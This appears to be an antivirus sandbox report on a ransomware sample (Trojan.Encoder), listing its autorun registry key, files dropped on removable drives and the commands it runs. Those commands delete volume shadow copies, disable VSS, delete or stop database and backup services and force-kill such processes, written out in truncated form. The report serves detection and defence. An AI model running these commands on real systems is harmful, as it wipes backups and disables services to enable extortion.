Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'WindowsUpdateCheck' = '<Full path to file>'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\zxczcxsa\ewfewcxz.exe
Creates the following files on removable media
- <Drive name for removable media>:\.c4d1664ef40ce18f8d41
- <Drive name for removable media>:\fi51.doc
- <Drive name for removable media>:\lisp_success.doc
- <Drive name for removable media>:\applicantform_en.doc
- <Drive name for removable media>:\508softwareandos.doc
- <Drive name for removable media>:\testee.cer
- <Drive name for removable media>:\sdksampleprivdeveloper.cer
- <Drive name for removable media>:\contosoroot_1.cer
- <Drive name for removable media>:\sdkfailsafeemulator.cer
- <Drive name for removable media>:\testcertificate.cer
- <Drive name for removable media>:\pmd.cer
- <Drive name for removable media>:\coffee.bmp
- <Drive name for removable media>:\dialmap.bmp
- <Drive name for removable media>:\toolbar.bmp
- <Drive name for removable media>:\dashborder_192.bmp
- <Drive name for removable media>:\dashborder_144.bmp
- <Drive name for removable media>:\split.avi
- <Drive name for removable media>:\000814251_video_01.avi
- <Drive name for removable media>:\uep_form_786_bulletin_1726i602.doc
- <Drive name for removable media>:\wrar520.exe
Modifies file system
Creates the following files
- %TEMP%\killer.bat
- %TEMP%\kdclogq.vbs
- %ALLUSERSPROFILE%\local\.c4d1664ef40ce18f8d41
- <Current directory>\ids.txt
- z:\.c4d1664ef40ce18f8d41
- D:\.c4d1664ef40ce18f8d41
- D:\$recycle.bin\.c4d1664ef40ce18f8d41
- D:\system volume information\.c4d1664ef40ce18f8d41
- z:\system volume information\.c4d1664ef40ce18f8d41
Sets the 'hidden' attribute to the following files
- %ALLUSERSPROFILE%\local\.c4d1664ef40ce18f8d41
- D:\.c4d1664ef40ce18f8d41
- <Drive name for removable media>:\.c4d1664ef40ce18f8d41
- D:\$recycle.bin\.c4d1664ef40ce18f8d41
- z:\.c4d1664ef40ce18f8d41
- D:\system volume information\.c4d1664ef40ce18f8d41
- z:\system volume information\.c4d1664ef40ce18f8d41
Modifies user data files (Trojan.Encoder).
Changes user data files extensions (Trojan.Encoder).
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\Kdclogq.vbs"
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\killer.bat" "' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c @echo off sc config browser sc config browser start=enabled vssadmin delete shadows /all /quiet sc stop vss sc config vss start=disabled sc stop MongoDB sc config MongoDB start=disabl...
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\killer.bat" "
- '%WINDIR%\syswow64\cmd.exe' /c "color b & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delete Qc...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc d...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc ...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusb...
- '%WINDIR%\syswow64\cmd.exe' /c "@color b & sc delete MSCRMAsyncService & @sc delete REPLICA & @sc delete RTCATS & @sc delete RTCAVMCU & @sc delete RtcQms & @sc delete RTCMEETINGMCU & @sc delete RTCIMMCU & @sc delete RTCDA...
- '%WINDIR%\syswow64\cmd.exe' /c "color a & @net stop U8WorkerService1 & @net stop U8WorkerService2 & @net stop "memcached Server" & @net stop Apache2.4 & @net stop UFIDAWebService & @net stop MSComplianceAudit & @net stop ...
- '%WINDIR%\syswow64\cmd.exe' /c "color a & @net stop HaoZipSvc & @net stop "igfxCUIService2.0.0.0" & @net stop Realtek11nSU & @net stop xenlite & @net stop XenSvc & @net stop Apache2.2 & @net stop "Synology Drive VSS Servi...
- '%WINDIR%\syswow64\cmd.exe' /c "color a & @net stop UIODetect & @net stop VMwareHostd & @net stop TeamViewer8 & @net stop VMUSBArbService & @net stop VMAuthdService & @net stop wanxiao-monitor & @net stop WebAttendServer ...
- '%WINDIR%\syswow64\cmd.exe' /c "color e & @taskkill /IM VBoxSDS.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM TeamViewer_Service.exe /F & @taskkill /IM TeamViewer.exe /F & @taskkill /IM CasLicenceServer.exe /F & @t...
- '%WINDIR%\syswow64\cmd.exe' /c "color e & @taskkill /IM BackupExec.exe /F & @taskkill /IM Att.exe /F & @taskkill /IM mdm.exe /F & @taskkill /IM BackupExecManagementService.exe /F & @taskkill /IM bengine.exe /F & @taskkill...
- '%WINDIR%\syswow64\cmd.exe' /c "color e & @taskkill /IM pg_ctl.exe /F & @taskkill /IM rcrelay.exe /F & @taskkill /IM SogouImeBroker.exe /F & @taskkill /IM CCenter.exe /F & @taskkill /IM ScanFrm.exe /F & @taskkill /IM d_ma...
- '%WINDIR%\syswow64\cmd.exe' /c "color e & @taskkill /IM ThunderPlatform.exe /F & @taskkill /IM iexplore.exe /F & @taskkill /IM vm-agent.exe /F & @taskkill /IM vm-agent-daemon.exe /F & @taskkill /IM eSightService.exe /F & ...
- '%WINDIR%\syswow64\cmd.exe' /c "color e & @taskkill /IM sqlservr.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM java.exe /F & @taskkill /IM fdhost.exe /F & @taskkill /IM fdlauncher.exe /F & @taskkill /IM reportingser...
